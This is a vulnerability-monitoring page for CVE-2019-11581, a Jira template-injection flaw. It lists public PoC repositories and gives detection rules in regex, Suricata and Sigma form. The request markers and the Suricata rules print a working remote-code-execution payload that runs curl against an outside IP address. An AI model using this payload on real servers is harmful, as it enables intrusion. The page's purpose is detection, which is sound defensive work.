PoC Monitor
← All CVEs
CVE-2019-11581published 9 Aug 2019 19:30 UTCData: JSON · API

Atlassian Jira Server and Data Center

Atlassian Jira Server and Data Center Server-Side Template Injection Vulnerability

There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.

First public PoC 25 days beforebefore publication · 16 Jul 2019
Public PoCs32 on GitHub · 1 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-74
CISA KEV 7 Mar 20222.6 years after publication

Timeline

Days relative to CVE publication
t=0+180+360+540+720+900First public PoC16 Jul 2019 · t−25dCVE published9 Aug 2019 · t = 0Added to CISA KEV7 Mar 2022 · t+2.6y

First public PoC 25 days before publication; added to CISA KEV 2.6 years after publication. First PoC: jas502n/CVE-2019-11581 (created 16 Jul 2019, found by us: backfilled).

PoC repositories

Found on GitHub.

2 PoCs · 1 informational

PoCs 2
RepositoryCreatedStarsAssessment
jas502n/CVE-2019-11581 16 Jul 2019 −25 d 93 PoC via PoC Index
kobs0N/CVE-2019-11581 25 Jul 2019 −16 d 10 PoC
Informational 1
RepositoryCreatedStarsAssessment
PetrusViet/CVE-2019-11581 4 May 2021 +1.7 y 6 Informational · write-up

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
nuclei templatenuclei template: Atlassian Jira Server-Side Template Injection27 Apr 202314 Nov 2026

PoC characteristics

What to hunt for in your logs · from 2 PoC repos

POST /secure/ContactAdministrators.jspa

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout; JSESSIONID=FCC6A28A80F6BBB6610A54327E4E8C66 Referer: http://10.10.20.116:8080/secure/ContactAdministrators!default.jspa Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1
Body markers
from=232334@qq.com subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 47.97.112.98:8000//jas502n//').waitFor() details=23423423 atl_token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout 发送=发送 in application/x-www-form-urlencoded
Ports
8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Seen in
1 repo: jas502n/CVE-2019-11581
Evidence
jas502n/CVE-2019-11581/README.md:29

POST /secure/admin/SendBulkMail.jspa

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin; JSESSIONID=32D0E863B383BDAAF8049FA4339D5C26 Referer: http://10.10.20.116:8080/secure/admin/SendBulkMail!default.jspa Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1
Body markers
sendToRoles=true projects=10000 roles=10002 replyTo=test@qq.com subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 47.97.112.98:8000//jas502n//').waitFor() message=542342342 messageType=html sendBlind=true 发送=发送 atl_token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin in application/x-www-form-urlencoded
Ports
8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Seen in
1 repo: jas502n/CVE-2019-11581
Evidence
jas502n/CVE-2019-11581/README.md:48

GET /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa

Ports
8080
Seen in
1 repo: kobs0N/CVE-2019-11581
Evidence
kobs0N/CVE-2019-11581/JIRAScanner.py:39

POST /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa

Key headers
Useragent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Ports
8080
Seen in
1 repo: kobs0N/CVE-2019-11581
Evidence
kobs0N/CVE-2019-11581/JIRAScanner.py:65

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /secure/ContactAdministrators.jspa
(?i)^/secure/ContactAdministrators\.jspa(?:[?#].*)?$
POST /secure/admin/SendBulkMail.jspa
(?i)^/secure/admin/SendBulkMail\.jspa(?:[?#].*)?$
GET /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa
(?i)^/secure/ContactAdministrators!default\.jspa/secure/ContactAdministrators!default\.jspa/secure/ContactAdministrators!default\.jspa(?:[?#].*)?$
POST /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa
(?i)^/secure/ContactAdministrators!default\.jspa/secure/ContactAdministrators!default\.jspa/secure/ContactAdministrators!default\.jspa(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /secure/ContactAdministrators.jspa
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2019-11581 Atlassian Jira Server and Data Center exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/secure/ContactAdministrators.jspa"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.8,en-US|3b|q=0.5,en|3b|q=0.3"; nocase; http.header; content:"Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout|3b| JSESSIONID=FCC6A28A80F6BBB6610A54327E4E8C66"; nocase; http.header; content:"Referer: http://10.10.20.116:8080/secure/ContactAdministrators!default.jspa"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.1"; nocase; http.request_body; content:"from=232334@qq.com"; http.request_body; content:"subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 47.97.112.98:8000//jas502n//').waitFor()"; http.request_body; content:"details=23423423"; http.request_body; content:"atl_token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout"; http.request_body; content:"发送=发送"; reference:url,poc.griffinguard.io/cve/CVE-2019-11581; classtype:web-application-attack; sid:9286254; rev:1;)
POST /secure/admin/SendBulkMail.jspa
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2019-11581 Atlassian Jira Server and Data Center exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/secure/admin/SendBulkMail.jspa"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,*/*|3b|q=0.8"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.8,en-US|3b|q=0.5,en|3b|q=0.3"; nocase; http.header; content:"Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin|3b| JSESSIONID=32D0E863B383BDAAF8049FA4339D5C26"; nocase; http.header; content:"Referer: http://10.10.20.116:8080/secure/admin/SendBulkMail!default.jspa"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.header; content:"X-Forwarded-For: 127.0.0.1"; nocase; http.request_body; content:"sendToRoles=true"; http.request_body; content:"projects=10000"; http.request_body; content:"roles=10002"; http.request_body; content:"replyTo=test@qq.com"; http.request_body; content:"subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 47.97.112.98:8000//jas502n//').waitFor()"; http.request_body; content:"message=542342342"; http.request_body; content:"messageType=html"; http.request_body; content:"sendBlind=true"; http.request_body; content:"发送=发送"; http.request_body; content:"atl_token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin"; reference:url,poc.griffinguard.io/cve/CVE-2019-11581; classtype:web-application-attack; sid:9506107; rev:1;)
GET /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2019-11581 Atlassian Jira Server and Data Center exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa"; reference:url,poc.griffinguard.io/cve/CVE-2019-11581; classtype:web-application-attack; sid:9863638; rev:1;)
POST /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2019-11581 Atlassian Jira Server and Data Center exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa"; http.header; content:"Useragent: Mozilla/5.0 (Macintosh|3b| Intel Mac OS X 10.14|3b| rv:68.0) Gecko/20100101 Firefox/68.0"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2019-11581; classtype:web-application-attack; sid:9438238; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /secure/ContactAdministrators.jspa
title: Atlassian Jira Server and Data Center exploit attempt (CVE-2019-11581)
id: gg-pocmon-cve-2019-11581-9286254
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-11581. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-11581
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/secure/ContactAdministrators.jspa'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.11581
POST /secure/admin/SendBulkMail.jspa
title: Atlassian Jira Server and Data Center exploit attempt (CVE-2019-11581)
id: gg-pocmon-cve-2019-11581-9506107
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-11581. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-11581
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/secure/admin/SendBulkMail.jspa'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.11581
GET /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa
title: Atlassian Jira Server and Data Center exploit attempt (CVE-2019-11581)
id: gg-pocmon-cve-2019-11581-9863638
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-11581. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-11581
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.11581
POST /secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa
title: Atlassian Jira Server and Data Center exploit attempt (CVE-2019-11581)
id: gg-pocmon-cve-2019-11581-9438238
status: experimental
description: Request pattern taken from public PoCs for CVE-2019-11581. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2019-11581
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa/secure/ContactAdministrators!default.jspa'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2019.11581